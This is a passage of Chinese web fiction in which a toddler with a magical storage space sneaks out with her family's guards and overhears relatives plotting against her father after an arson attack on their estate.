大院正门紧闭,铁锁依然寒森森地挂着,却也忽然浓烟滚滚,直冲云霄。火光不大,浓烟却从从门缝、墙头丝丝缕缕渗出。 那三名被擒的纵火者,包括大院里抛出来同样捆绑得如同死猪的一人,被拖到陈婆子家院外火势最盛处,口中布巾被猛地扯掉,还未等他们发出求饶,便被一股巨力推入熊熊烈焰之中。 凄厉得不似人声的惨嚎瞬间炸开,又很快被木材爆裂的轰鸣与风声吞没,只在空气中留下焦臭与绝望的气息。 就在这火光映天、鼎沸之际,一个浑身黑衣、几乎与夜色融为一体的身影,悄无声息地匍匐到那荆棘掩映的狗洞前。他像条湿冷的蛇,谨慎地向洞内钻去。 然而身子刚进去一半,庄内救火的嘈杂声便如潮水般涌来——佃户们被惊醒了,纷乱的脚步声、提桶奔跑声、呼喊指挥声由远及近。 黑衣人立即僵住,不敢再往前爬,而是屏息凝神,将半边脸贴在冰冷潮湿的洞壁上,静静聆听外面的动静。 “快!快往大爷大夫人那屋去!火就是从那儿起的!” “晚了!听说夫人被救出来了,大爷是几个忠仆冒死从火海里背出来的,那床架子都烧塌了一半!怕是……唉!” “这天气,屋檐还挂着冰溜子呢,怎会起这般大火?邪门!” “是陈婆子那一家子黑心肝的纵的火!泼了桐油,嗨!今天要是没有往外铲雪,怕是还好扑救!” “该!那几个杀才,刚已被巡防的汉子们捆了,直接扔进火坑里!这就叫现世报!” “只可惜了大爷……那么好的人,昨天刚见点起色,能出来透透气了,这一遭……就算捡回条命,往后怕是也难了……” “能不能活还不一定……” …… 洞中黑衣人听得真切,嘴角难以抑制地向上扯动,露出一口森白的牙,在洞外火光的微映下显得格外狰狞。他心想:竟有人抢先动了手,倒是省了爷一番力气。目光瞥向洞外陈婆子家那冲天烈焰,心中最后一丝疑虑也消散了。 他不再犹豫,手脚并用地倒退着爬出狗洞,动作轻盈迅捷。 刚在雪地里站稳,眼角余光便扫见不远处歪倒着那辆独轮车,心中一动,上前扶起,推着便在雪地上吱呀呀跑了起来,身影迅速没入黑暗,只想快点离去,将这“好消息”禀报上去邀功。 而此时,庄内的厢房里,暖意融融。玩累了一天的阿沅在锦被中睡得小脸通红,细细的呼噜声均匀绵长,对庄外的惊心动魄浑然不觉。 直至天光大亮,她被红袖轻声唤醒,迷迷糊糊任由摆布穿衣裳。 红袖一边灵巧地系着盘扣,一边忍不住嘀咕:“小姐,许是银丝炭不够了。昨儿在庭院正中烧炭呢,黑烟现在都没停歇。亏得是在院子最空旷处烧的,没熏着屋子。” 阿沅睡眼惺忪,茫然地重复:“烧炭?”她心里直犯嘀咕:自己空间里明明还存着好些上等银丝炭呢,前些天还问过爹爹要不要拿出来用,爹爹当时抚着她脑袋笑说:“庄子里备的炭足着呢,哪用我们阿沅操心。” 红袖蹙起眉,手上动作不停:“那烟可浓了,黑乎乎的,现在出去瞧,只怕还有余烟。” “快点,快点,给窝穿快点!窝要去看!”阿沅的好奇心瞬间被勾了起来,隐隐觉得这事不简单,瞌睡虫全跑了。最后两颗扣子还没扣好,她就像只小兔子般从红袖手里溜了出去。 谁知刚冲出房门两步,她又“咻”地一下缩了回来,还把紧跟出来的红袖也一同拽回门后,竖起一根小手指贴在唇边“嘘”了一声,然后小心翼翼地将耳朵贴在门缝边,一双乌溜溜的大眼睛闪着机敏的光。 只听正屋门槛处,坐在轮椅上的孟大川背对着这边,声音低沉平稳,正与肃立一旁的孟七吩咐:“紧邻的那个白水庄,底细清楚么?主家是谁?庄里都住了些什么人?” 孟七略一躬身,回道:“姓白,据说是外地来的商贾,在此处置产落脚,根基不深,家眷人口也简单。更详细的,得今日才能派人出去细探。但可以确定,这庄子并非老太太或二房名下的产业。” “哼,”孟大川轻笑一声,却带着寒意,“看来是个人都以为能来踩我大房一脚了。你今晚带两个机灵稳重的,进去探探虚实。记住,只摸清底细,切勿打草惊蛇。” “是。”孟柒应下,又请示道,“大人,那个……狗洞,是否需要即刻封堵?” 阿沅顺着父亲目光所向,从门缝瞧见庭院正中果然有一大堆黑黢黢的、显然是泼过水才熄灭的炭火残骸,兀自袅袅冒着青烟。若是贼人真来放火,岂会选在院子正中空旷处?小姑娘心里顿时明镜似的。 “白水庄?”阿沅扭头,用气声问红袖。 红袖凑近,同样压低声音,手指悄悄指向院墙外:“就在咱们庄子围墙外不远,奴婢知道的,离嘉禾庄最近。” 阿沅对红袖用力眨眨眼,再次做了个“嘘”的手势,示意她别跟来。然后自己蹑手蹑脚地溜出去,像只轻巧的小猫,到最后,哒哒哒几步跑到孟大川轮椅边。 伸出小手一把攥住他的衣襟,让爹爹正是着她,仰起小脸,眼睛亮晶晶地,语气又软又糯,却带着不容商量的坚持:“爹爹,白水庄,今晚窝也要去。” 第60章 阿沅带人钻狗洞 “那不行,”孟大川一低头,看见女儿不知何时已像只小狸猫般悄没声地贴了过来,软乎乎的身子整个儿伏在他膝盖上,两只小胳膊还紧紧环住了他的腿。她仰起的小脸上满是期盼,眼睛亮晶晶的,仿佛盛满了星光。 可孟大川对她的要求拒绝得毫不留情,语气硬邦邦的,没有半点转圜余地。 话一出口,他就瞧见女儿那双亮晶晶的眼睛瞬间黯淡下去,小嘴微微瘪着,营养坚持说:“就去!” 她长长的睫毛扑闪了几下,眼眶眼看着就红了起来,漫上一层委屈的水光,仿佛下一秒就要滚下金豆子。 孟大川心头一紧,意识到自己方才板着的脸怕是吓着了她。他暗自叹了口气,面部僵硬的线条不由得放软下来,声音也放缓了许多,添上几分哄劝的意味:“等柒叔他们先把那边的情况都摸清楚了,咱们再说,好不好?” 孟柒站在一旁,目光始终没离开小姐那双滴溜溜转的大眼睛。那眼睛一会儿狡黠,一会儿委屈,灵动极了。她此刻猛然提起要出去,让孟柒忍不住想起了年前去往侯府的那三天两晚。就是这个小不点,比现在还小,却像个小军师似的,有条不紊地指挥他们这群大人干成了一件了不得的大事,还买这买那。 她不仅运筹帷幄,更奇的是,对去冬今春这场席卷京畿的罕见大雪灾,竟似有未卜先知之能,早早便布局安排,囤粮修屋、备炭、穿衣盖被什么都想到了。正因为她那些看似童言稚语却无比精准的吩咐,庄子里上下下才能安然度过此劫。 孟柒相信,夫人名下的其他几个嫁妆庄子,此番也必能因小姐的先见之明而将伤亡减到最小。 “大人,”在父女俩那“去”与“不去”、一个板脸一个撒娇的拉锯战尾声,孟柒终于开了口,声音沉稳而坚定,“就让小姐去吧。” 他看着大人紧锁的眉头,又看了一眼小姐那强忍泪花、满是渴望的小脸,上前一步,单膝触地,抱拳郑重承诺:“属下用性命担保,定会寸步不离,护得小姐周全。若有半点闪失,属下无需大人动手,自当提头来见!” “柒叔!” 阿沅敏锐地感觉到爹爹抱着自己的手臂微微松了些,那紧绷的身体也不再那么僵直了。她知道,爹爹这座大山,终究是被她和柒叔联手撬开了一道缝! 巨大的喜悦瞬间冲散了方才的委屈,她眼睛一下子又亮得惊人,立刻从爹爹膝头扭过小身子,迫不及待地朝着孟柒伸出两只莲藕似的小短胳膊,奶声奶气地求抱抱,嘴巴像抹了蜜:“柒叔最好了!阿沅最喜欢柒叔了!” 孟大川被女儿这“见风使舵”的迅速变脸弄得哭笑不得,没好气地瞪了一眼那个满脸写着“得令”、伸手就想来接走这“小没良心”的手下。 他非但没松手,反而把女儿往怀里又揽了揽,伸出食指,轻轻拧了拧她粉嫩脸颊上的那团软肉,佯装恼怒地嗔骂道:“你这个小没良心的!谁才是你亲爹?嗯?柒叔一句话你就不要爹了?” “咯咯咯!”阿沅得逞后大笑,圆圆的身子拧成了麻花。 …… 明明晚上就能正大光明地出去,可白日的时光依旧漫长。阿沅被裹得严严实实,像颗圆滚滚的球,被允许在院子里看铲雪、也可以了堆雪人。可她心里头,却始终惦记着那个被柒叔提及的、隐藏在荆棘丛后的“秘密通道”——那个狗洞。 “走!窝们去看看!”也不知道说的是看看还是探探。阿沅小手一挥,又开始兴致勃勃地瞎指挥起她的“小跟班”们。 找到那处狗洞并不难,因为那段荆棘丛附近有护卫专门把守,庄子里佃户清理积雪时也被明令禁止往那个方向来,更不能倾倒于此处。 如此一来,庄子其他地方的积雪早已被垒成了高高的雪墙,经过日晒夜冻,雪墙外层已结了一层硬壳,成了滑溜溜、亮晶晶的冰墙,在阳光下闪着冷冽的光。 阿沅带着莲子、红袖,后面稍远些跟着的绿果和红豆,深一脚浅一脚地挪到那片荆棘附近。她踮着脚,伸长脖子往里瞧,只看见枯枝交错,黑乎乎的洞口隐约可见。 “苏苏(叔叔),窝就看看!”她仰起小脸,对拦在身前的护卫露出最天真无害的笑容,声音甜甜的。 “窝就看看嘛!”她歪着头,继续软磨硬泡,小表情认真极了,仿佛真是为了晚上的“正事”在做勘察。 一开始,护卫们还牢记职责,像铁塔似的挡在前面。但看她确实只是好奇地东张西望,用小树枝远远地戳戳荆棘,并无进一步动作,也就渐渐放松了警惕,只当是小孩子无聊的探险游戏。 谁知,就在一个护卫转身查看别处的瞬间,这个裹得像个五彩粽子、行动看似笨拙的小家伙,忽然就以惊人的灵活度,“呲溜”一下伏低了身子,手脚并用地朝那狗洞钻去!她动作快得让人猝不及防,像只真正的小狗崽,毫不犹豫。 “小姐!”绿果惊呼一声,一把推开旁边还在发愣的红袖,飞扑过去想抓住阿沅的脚踝。可阿沅的小短腿蹬得飞快,大半个身子已经进去了。莲子也觉得好玩,想也没想,也跟着撅起屁股往里钻。 “快点出来!”绿果只来得及喊出这一句,与反应过来的红豆对视一眼,两人同时足尖点地,轻盈地跃过那丛带着尖刺的荆棘,稳稳落在狗洞的另一侧出口,一左一右,像两尊门神般横在了那里。 她们刚站定,就见毛茸茸的脑袋从黑乎乎的洞里冒了出来。阿沅的小脸蹭了点灰,帽子都刮掉了一半,显得眼睛更加黑白分明。此刻,那眼睛里可没有半点害怕,全是计划得逞的兴奋和得意。 让她再钻回去是不可能了。绿果伸出手,想将她整个托抱出来。可阿沅像条滑不溜秋的小鱼,使劲扭动,脚一沾地,立刻挣脱开来,然后“噔噔”后退两步,双手叉在自己圆鼓鼓的小腰上,挺起胸膛,努力摆出最凶悍的样子。 她乌溜溜的眼睛瞪得滚圆,对绿果和红豆怒目而视,奶凶奶凶地威胁道:“泥敢抱窝回去!” 她喘了口气,加重语气,每个字都咬得清清楚楚,试图增加威慑力:“一后(以后)不要泥们了!窝让爹爹把泥们调去守大门!天天看门!”小家伙全身的力气似乎都用在“生气”上了,五官皱在一起,圆脸蛋鼓得像塞了两个小包子,加上那身厚厚的冬衣,活脱脱一只炸了毛、竖起了所有尖刺的小刺猬。 “小姐,你爬得真快呀!”莲子终于从洞里钻了出来,拍打着身上的雪粒,小脸兴奋得红扑扑的,跟着小姐真好玩,终于不用只待在四面都是高墙的院子里了,外面的空气似乎更加冰冷,更加芬芳。 “小姐,快些回去吧,夫人要是片刻找不见您,该着急上火了。”红袖最后一个费力地爬出来,一边整理自己弄乱的衣裙,一边苦口婆心地劝道,那老气横秋的语气,瞬间与绿果、红豆结成了“劝归统一战线”。 绿果赶紧接话,软声道:“是啊,小姐,咱们先回去,……” “一后(以后)泥们守门口!”又是一句脆生生的威胁,这次小手指直接点向了绿果和红豆的鼻子。 然后,她像是彻底放弃了跟她们讲道理,气呼呼地“哼”了一声,猛地转过身,双手抱在胸前(其实只是小胳膊努力环住厚厚的衣襟),一屁股蹲了下来,只留给她们一个圆滚滚、气鼓鼓的背影。 她的小脑袋微微歪着,目光投向不远处被冰雪覆盖、显得寂静又神秘的白水庄。 孟沅小嘴抿得紧紧的,独自生起了闷气:为什么自己想要做点事情,就这么难呢?明明自己每顿饭都已经很努力地吃很多很多,怎么就不见长大呢? 第61章 爹爹你使坏 孟沅其实心里也跟明镜似的,这大白天的,外面冰天雪地,灾民流窜,确实干不了啥正经事。 可她就是像只被关久了的小雀儿,迫切地想扑腾出去,哪怕只是在外面溜达溜达,吸几口清冷的自由空气也好。 最好能把那神秘的白水庄也溜达上一圈,瞧瞧里头到底是个什么光景。 她心里拨拉着小算盘:反正她们五个都是女孩子,自己和莲子是不折不扣的三寸丁,红袖也才堪堪八岁,身量未足,脸上还带着稚气,勉强算半个孩子。这样一队“女娃娃兵”,走在路上,任谁看了也只会当是贪玩溜出来的,哪里会起什么防备之心呢?正是打探消息的好掩护。 “小姐,”阿沅刚拍拍膝盖上的雪站起来,小脑袋瓜里正琢磨着怎么说服绿果她们“溜达一圈”,身后就传来了孟柒那沉稳又带着几分无奈的声音,“您这一溜烟没影,夫人都急得掉眼泪了,正派人四处寻您呢。” 孟沅:“……”小身子顿时一僵。娘亲哭了?这罪名可大了。 她小嘴不自觉地扁了扁,心里那点跃跃欲试的兴奋,像被戳了个小洞的气球,嗤嗤地漏掉了一些。 “雪刚停,庄子外并不太平,不知有多少无处可去的灾民在附近转悠,寻机觅食,不然早就吩咐敞开大门了。大人和少爷都万分担心您的安危,特命属下来将您带回去。”孟柒的语气并不严厉,却带着不容置疑的关切。 阿沅倔强地站在原地,小手背在身后,不肯挪步,只拿一双黑白分明的大眼睛警惕地望向孟柒,试图从他的表情里分辨这话是真是假,有没有转圜的余地。 “少爷在里头着急,见您钻了狗洞,他也想跟着钻出来瞧瞧。急得没法,都开始扯着属下的衣角,央求属下教他学武功了,说学了功夫就能保护妹妹,还能飞檐走壁。”孟柒又补了一句,嘴角带着一丝不易察觉的笑意,认真盯着小姐的表情。 阿沅小脑袋忍不住转向白水庄的方向,望了一眼那覆雪的黑瓦屋顶,又回头看了看那个黑黢黢、此刻看来有点“罪证”意味的狗洞,内心像秋千一样晃荡起来。哥哥……还是不要出来吧! 可她的脚步像是被雪黏住了,还是没有动。 “大人还说,”孟柒看着小姐犹豫的小模样,决定使出最后一招,他蹲下身,平视着阿沅,语气格外认真,“小姐若是此刻不乖乖回去,大概……今晚就不必想着再出去了。” 这句话像一颗小石子,准确地投进了阿沅的心湖,激起了巨大的涟漪。她内心警铃大作:威胁!这是明晃晃的、来自爹爹的威胁!用小手指头想都知道,爹爹绝对干得出来! 但要她马上服软,乖乖被“押解”回去,又觉得太丢脸了,阿沅不要面子的么? 她眼珠一转,小下巴一扬,开始讨价还价,声音还带着点没完全消散的赌气:“那……那柒叔带窝飞一圈!从这边飞到庄头那棵大槐树,再飞回来!飞完就回去!”她想,至少得捞点“好处”,过过飞高高的瘾。 最后的结果是,阿沅像只被拎住后颈皮的小猫崽,又被孟柒稳稳地夹在了结实的腋窝下。耳畔风声呼呼,视野陡然开阔。 她兴奋地“哇”了一声,可还没等她看清庄子全貌,孟柒只顺着自家庄子的围墙“飞”了短短半圈,根本没按约定飞向远处的大槐树,就一个利落的转身,轻飘飘地掠过了荆棘丛,重新落回了院子里的地面上。 这时候,十五、十六两个半大少年已经拿着个大木盆,还有几块自制的光滑木板,在冰墙边等着了。孟怀瑾也闻讯赶了过来,脸上带着笑,显然是为了哄妹妹高兴,加入了“陪玩服务”的行列。 他们轮流推着阿沅坐在木盆里,从冰墙稍缓的坡上滑下来,或者让她趴在木板上,嗖地滑出一段。 一开始阿沅被新鲜的玩法吸引,咯咯笑个不停,觉得开心极了。但慢慢地,她品出点不对味来。 太阳暖洋洋地晒着,玩得身上也热乎乎的,再这么疯玩下去,自己会不会像昨晚一样,精力耗尽,早早就打起瞌睡,然后被抱上床,一觉睡到大天亮?那白水庄岂不是又去不成了? “哼!窝不玩了!”念头一起,玩兴顿时全消。最后一次从木盆里爬出来,阿沅小脚一跺,哒哒哒就往主屋的方向跑,把玩得正起劲、满头大汗的哥哥和两个小叔叔弄得莫名其妙,面面相觑。 阿沅跑出十几步,又忍不住停下,回头看向刚刚陪她玩得像个大孩子、此刻有点怔愣的小十五叔和小十六叔,大声补充道:“明天!泥们记得出来,还玩这个!”得先把“玩伴”定下来,明天才好找借口出来。 “好嘞!全听小姐吩咐!”少年们听到这句,才又眉开眼笑,兴奋地应和,开始收拾雪具。 “娘亲!窝要洗澡澡,吃饭饭,睡觉觉!”远远看见大院门口柳氏推着轮椅上的孟大川往这边张望,阿沅就像只归巢的小燕子,连蹦带跳地扑了过去。 靠近一些,看清爹爹脸上那抹了然又带着点戏谑的笑意,阿沅立刻明白自己猜得没错。她气鼓鼓地瞪向孟大川,小手指着他:“爹爹泥洗坏(你使坏)!” 说着,也不管三七二十一,跑到轮椅后,用上吃奶的劲儿把轮椅转了个方向,就往大院里头推,声音闷闷的,带着气恼:“再洗坏,窝……窝就不给爹爹药药吃!让老北爷爷给泥开最苦的!扎针疼疼。” 孟大川被她这“凶狠”的威胁逗得朗声大笑,声音洪亮,“那爹爹用苦苦的药,换阿沅的红枣糕和杏仁酥,好不好?” “才不要!”阿沅逻辑清晰得很,瘪着嘴不干了,觉得自己又被戏耍了。她气呼呼地丢下轮椅扶手,扭头就跑,边跑边喊,声音飘回来:“窝还是给爹爹加多多的苦药!苦到皱眉毛!” “哈哈哈!”孟大川笑得更是开怀,胸腔都震动着。 柳氏接替了推轮椅的位置,轻轻责怪道:“你呀,再这么逗她,小心她真往你的汤药里加‘料’,她那些瓶瓶罐罐,你又不是不知道。” “夫人多虑了,”孟大川靠在椅背上,望着女儿跑远的小小背影,眼神温柔又骄傲,“也不看看阿沅是谁的女儿,心肠暖着呢,顶多加点黄连,让我清清火。”他这谜一般的自信,让柳氏哭笑不得。 “我算是知道什么叫‘女儿奴’了。”柳氏摇头叹息,语气里是无奈,也是纵容。 “儿子也要做‘妹妹奴’,娘亲可别吃醋。”后面赶上来的孟怀瑾,脸上还带着玩耍后健康的红晕,他轻轻推开柳氏,自然而然地接手推起了父亲的轮椅,语气沉稳中带着少年特有的清朗。 看着儿子虽稚嫩却已显担当的背影,又望向前方那个活力十足的女儿,柳氏推着空手,忽然惊觉,自己心里那长久以来盘踞的阴霾和担忧,似乎已经很久没有化作眼泪流出来了。 换作的是一种久违的、踏实而温暖的平静,悄悄漫上了心头。 第62章 空间再一次扩大 洗了个热乎乎的澡,浑身的毛孔都舒展开来。又吃了顿丰盛的晚饭,直把小肚子撑得圆鼓鼓的,像揣了个小西瓜。 阿沅终于心满意足地倒进了柔软暖和的锦被里,却并没有像往常那样立刻打起小呼噜。 她闭着眼睛,小耳朵却竖着,仔细听了听外面红袖她们窸窸窣窣走远的脚步声。等到四周彻底安静下来,只剩下炭盆里偶尔“噼啪”一声轻响,她才悄悄地、熟练地将意识沉入空间。 “哈哈!空间又变大了!大大,你真够意思!”一进去,阿沅就忍不住欢呼雀跃。 她一眼就看到了试验田后面那个巍然矗立、几乎望不到顶的庞然大物——一座巨大的、银灰色金属质感的粮仓!与她见过的任何现代粮囤都截然不同,那简洁流畅的线条,恢弘现代的气势,让她兴奋得樱桃小嘴都快咧到耳朵根后面去了。 “可是……我的水稻呢?”欢呼过后是疑惑。她明明记得,前两晚进来时,试验田里还是一片沉甸甸、黄澄澄的稻浪,正是该收割的时候。怎么现在地里空空如也,连根稻草影子都不见了? “不会……是成熟就……自动归仓了吧?”这个念头闪过,阿沅心头一跳,随即迈开小短腿,朝着那座巨大的粮仓飞奔过去,跑得飞快,小啾啾都快飞起来了。 这粮仓的样子,跟她模糊记忆里某个现代化大农场中的筒仓有些相似,又像是放大了无数倍、结构还是容积最大的围屋,这么高,这么大,里面的容量肯定吓人! 似乎是因为她的到来和意念触动,那原本紧闭的、看起来严丝合缝的银色自动门,发出轻微的“嗡”声,缓缓地向两边平滑地打开,仿佛在欢迎它的小主人。 “哎哟!我的天哪!”阿沅站在门口,仰着小脑袋往里看,忍不住发出一声惊叹。 粮仓内部明亮整洁,墙壁如同光滑的玻璃,又被清晰地分割成三个独立的区域。每个区域里,金灿灿的稻谷堆积如山,在不知从何而来的柔和光线照耀下,泛着诱人的、属于丰收的温暖光泽,一目了然,震撼人心。 更神奇的是,每个仓区的上方,都有一个发着微光的显示屏,上面跳动着温度和湿度的数字刻度。同时,她耳边(或者说意识里)仿佛响起清脆的提示音,眼前也似乎有半透明的大字闪烁浮现,分别为三个仓区做了标注:“良种1号”、“良种2号”、“良种3号”。 阿沅仔细回想对比。在现代,再好的土地,这些优良品种,亩产千斤已经是非常了不起的成绩。可在这神奇的空间里种植,同样的种子,竟然足足多收获了三分之一!这简直是神迹! 即使眼前这三个粮仓现在装载的稻谷,粗略估算也达到了一万五千斤的惊人数量,但放在这个巨无霸般的超级粮仓里,竟然还填不满十分之一的空间,只占了底下的一角。 “空间大大,你也太会玩了吧?”阿沅叉着小腰,对着虚空嘀嘀咕咕地埋怨起来,小脸上却是掩饰不住的兴奋和得意。 “就不能早点给个提示吗?非得背后偷偷来这一手。害得我之前连续进来两次,吭哧吭哧地用意念‘腾屋子’,搬来挪去,生怕粮食太多没地方放,愁得我哟!” 虽然嘴巴上抱怨,可她心里早就乐开了花,怎么琢磨都觉得这个空间真是太给力、太贴心了。 照这个趋势发展下去,等到她长大成人,这个空间不会真的演变成一座功能齐全的小城镇吧?那她岂不是就成了威风凛凛的城主大人了?光是想想,阿沅就忍不住在柔软的草地上打了个滚,开心得咯咯直笑。 她用意念迅速完成了第二季水稻的播种,又在散发着清香的草地里滚了好几圈,撒够了欢,才觉得有些困倦,在休息间里睡了个香甜的囫囵觉。醒来后,满足地吃了两块奶香酥和一小碗泡面。这才心念一动,回到了凡间温暖的被窝里。 再次醒来时,窗外还有些蒙蒙的亮光,应当是太阳刚刚西沉,余晖未尽的时分,正是平常该吃晚饭的时候。可是阿沅一点都没觉得饿,肚子里还饱饱的呢。 “窝不要穿这个红色的!窝要穿黑衣!像柒叔他们那样的!”看到红袖又拿着一件崭新的、绣着小兔子的大红棉袄往自己身上套,阿沅不干了,小身子泥鳅似的往下一滑,重新钻进了暖和的锦被里,只留下一个圆滚滚的小屁股和两条小腿露在外面,表达着无声的抗议。 爹爹明明亲口承诺过,会让娘亲给她缝制一身“夜行衣”的!怎么颜色完全不对?这是糊弄三岁小孩呢? “小孩子家家的,穿一身黑多不吉利,瞧着也沉闷。这红色在晚上看着,跟黑色也差不多。”锦被下鼓起的小鼓包被一只温柔的手轻轻拍了一下,屁股还冷飕飕的。 柳氏的声音带着笑意,又故意带点恐吓,“再磨蹭,柒叔他们可就不等你了,自己走啦。” “他敢?窝……窝也不要柒叔了!窝自己去!”虽是撅着嘴赌气,阿沅的小脑袋还是像只小乌龟般,慢吞吞地从被窝边缘钻了出来,头发乱蓬蓬的,小脸睡得红扑扑,终究是妥协了,任由娘亲将她拉出来摆布。 但她心里还惦记着颜色问题,仰着小脸,认真求证:“红色……晚上真的会变成黑色吗?”黑葡萄似的大眼睛里满是怀疑。 “娘亲还能骗你不成?”小屁股又被轻轻拍了一下,带着亲昵的嗔怪,“等吃完了晚饭,天也黑沉了,到时屋里不点灯,你让红袖在屋里瞧瞧,看是不是黑乎乎的?” “那……那也行吧!”这个“实验”听起来很有趣,阿沅终于高兴了。其实,虽然她觉得四个暗卫叔叔穿的那种紧身利落的夜行衣非常帅气神秘,但她这个年纪的小娃娃,内心深处最喜欢的,可不还是鲜艳的红色和娇嫩的粉色嘛!只是嘴上不肯认输罢了。 “记住,一切行动要听柒叔的指挥,不能自作主张。发出一点点不该有的声音,都可能坏了大事,听见没?”柳氏一边给她系着盘扣,一边不厌其烦地叮嘱。 “嗯!”阿沅用力点头,小表情严肃。 “进了别人的院子,千万别乱跑,一定要紧紧拉着柒叔的手,一步也不能离开。”这一次行动非同小可,柒叔只带她和四个暗卫,轻装简从。别说红袖了,就是身手不错的绿果和红豆,也只能留在家里干等着。 “啊!”阿沅继续点头,表示明白。 “还有,不管听到什么、看到什么,都不能自己擅自动手,要等柒叔的命令。” “知…道…了!”阿沅拉长了声音,乖乖应着。 直到被抱到爹爹屋里,被抱到饭桌前,热腾腾的锅子香气扑鼻,可爹爹、娘亲和哥哥轮番的、反复的嘱咐话语,像一群嗡嗡叫的小蜜蜂,绕着她的耳朵飞,让她简直想把自己的小耳朵暂时扯下来藏好。 但此刻,她只能摆出一副最最乖巧、最最听话的“乖乖女”模样,除了用“嗯”、“啊”和不停地点着小脑袋来回应,不敢多说半个“不”字。 生怕爹爹看她有一丁点儿不耐烦,就眉头一皱,直接把她搂回床上“睡觉”去,那她的夜探,可就彻底泡汤了! 第63章 瓦顶上听到的隐私 说实话,被人夹在腋窝飞那种感觉,真是又憋屈又难受,身子像个包裹般晃荡着,又被黑色的大氅包裹住,下面黑乎乎的一团,啥也看不见,远不如两人一左一右提着胳膊飞来得从容体面。 若不是年纪尚小,力气不济,阿沅简直有种被当成物件随意搬运的侮辱感,每一次颠簸都让她暗自咬牙。 但阿沅没有选择。她像只渴望挣脱雏巢的幼鹰,只盼着能快些长大,生出足以搏击风雨的羽翼。然而她也清楚,武功一道讲究水到渠成,想在短时间内练至极致,不过是痴人说梦罢了。这认知让她焦灼,却也催生出一股不服输的狠劲。 此刻,她严重怀疑孟柒他们白天已经偷偷来踩过点了。不然怎会一进了白水庄那高耸的围墙,就如识途老马般绕开巡更与暗哨,径直将她带至庄园中央那最气派的大屋屋顶,简直像回自己家一般熟稔。 脚刚落上屋瓦,孟柒便将她轻轻一放,那动作随意得如同搁下一个随身携带的小包裹。 “柒叔,不用到处探探么?”阿沅稳住身形,扑棱着又长又密的眼睫毛,仰头看向已蹲下身开始动作的孟柒。 见他正用薄刃小心翼翼地撬动屋瓦,她的声音压得极低,带着孩子特有的清亮与疑惑。 这白水庄的大宅虽不及他们所住的嘉禾庄占地广阔,却处处透着股精心雕琢的富贵气。飞檐斗拱,雕梁画栋,连瓦当上都饰有繁复的纹样,显然不是主家偶尔来住一两次的别院那么简单,倒像是常有人精心打理、藏着不少隐秘的所在。 阿沅的小脑袋瓜飞快转动,想到自己那正在逐渐扩大的神秘空间,还有因不用储存粮食而显得略有些空旷寂寥的含章苑,心里便忍不住一阵发痒。 她恨不能立刻将这宅子里值钱的宝贝都搬空,让那些胆敢帮着安平侯府谋害他们大房的狗东西们,连件蔽体的衣裳都不剩,通通扔进冰天雪地里冻成僵硬的大冰块才好。 这念头带着孩子气的狠厉,让她的小拳头不自觉地攥紧了。 就在这时,下方忽然传来清晰的对话声,打破了屋顶的寂静。“爹,孟大川这回不死也当不成侯爷了,该是我们回去的时候了吧?” 那是一个中年男人的声音,语调悠悠,却掩不住字里行间浓浓的埋怨,“都是您的亲儿子,一个在侯府吃香喝辣,穿金戴银,我们却窝在这山旮旯里几十年,都快变成钻山越岭的野人了,凭什么?” 这话语像根针,猛地刺了阿沅一下。她连忙将整个小身子伏低,整张脸几乎都贴到了冰凉的瓦片上,努力睁大眼睛,想从那缝隙中窥见下方说话之人的模样。 “凭什么?”一个苍老而略显沙哑的声音嗤笑一声,接过了话头,那话里的内容却冰冷刺骨,“凭你是奸生子。”这话如同惊雷,让正想多掀开几片瓦、扩大窥视范围的孟柒动作骤然一顿。 他侧起耳朵,眼神在瞬间变得锐利如鹰隼,握着薄刃的手指也微微收紧。 “爹!”中年男人的声音陡然拔高,带着被戳中痛处的羞恼与愤恨,随即响起“哐”的一声,像是茶盏被重重撂在桌面的声响,“你这么说,是不想让我们一家活了吗?我从小就没娘疼,你还这么偏心!”那声音里透出不甘,更有一丝被长久压抑后即将喷薄的戾气。 “那你又想如何?你在这过的是什么日子自己不知道么?”苍老的声音透出几分疲惫与无奈,“就是孟大川真死了,上头还有他那个疯疯癫癫的儿子呢!朝廷有律法,家族有规矩,谁敢保证那爵位不会传到他头上?” 在屋顶偷听最大的弊端,就是难以看清下方之人的面容神情。阿沅只能凭声音想象那两张或许与孟二泉有几分相似、此刻却布满算计与怨毒的脸。 她捏紧了小拳头,牙齿气得咯咯作响,一股无名火直冲脑门。好想就这么揭开瓦片,往下面撒一把能让人肠穿肚烂的毒药啊!这念头在她心头疯狂涌动。 “再这么拖下去,娘亲若是撑不住,死了怎么办?”中年男人的声音染上急迫,“你敢保证二弟会真心实意认回我们这群见不得光的亲人?怕是他巴不得把我们当作上门打秋风的乞丐,乱棍打出去才干净!” “我是他亲老子,血脉相连,他敢不认?”苍老的声音陡然强硬起来,却又在尾音泄出一丝底气不足的叹息,“除非……除非那个爵位他也不想要了。” 沉默片刻,那声音继续道,带着一种积年累月的怨愤与渴望:“你以为我不想?那老鬼一咽气,你爹我恨不得立刻就能搬进那雕梁画栋的侯府里去!你以为我白弟城,就甘心守这活寡一般的日子,守了一辈子?” “小姐,回去!”听到这惊心动魄的对话,孟柒面色已然铁青。他意识到此事牵连之深、干系之大,远超先前预估。他不再犹豫,开始以极快的速度、极轻的手法将掀开的瓦片重新归位。 同时压低声音,带着不容置疑的坚决对阿沅道。必须立刻回去,将这一切禀报! “再听听嘛!”阿沅正听到关键处,心里还惦记着“掏老窝”的打算,哪里舍得立刻离开。她扭了扭身子,小脸上满是不情愿,试图用眼神央求。好不容易出来“活动”一趟,才待了这么一会儿,什么都没捞着,光是听了一肚子腌臜气,岂不是亏大了? “事情到了这一步,也快了。你也别急。”下方,那老头子的声音又响了起来,似乎是在安抚焦躁的儿子,那声叹息悠长而复杂,藏着无数难以言说的算计。“他也够命硬,那样的大火居然都没烧死他。不过嘛……” 声音陡然压低,却依旧被屋顶上凝神倾听的两人捕捉到,“若是他那宝贝妻儿都死了,你以为,他还能独活?心气一散,人也就……” “死老头,嘁屎窝了(气死我了)!”这恶毒至极的算计,如同最后一根稻草,彻底压垮了阿沅本就薄弱的耐心。她终究是孩子心性,怒火冲垮了理智,也忘了身处何地。 只听她低声咒骂了一句不知从哪儿学来的粗话,小手已经下意识地摸起脚边一块松动的瓦片,想也不想,恶狠狠地朝着那传出声音的缝隙就砸了下去! “哗啦——!” 清脆的碎裂声在寂静的夜里显得格外刺耳。瓦片穿透薄薄的承尘,直落下方,也不知砸中了何物。 “上面有人?!”下方那中年男人惊疑的声音猛地响起,伴随着椅子被快速推开、人体骤然起立的声响。 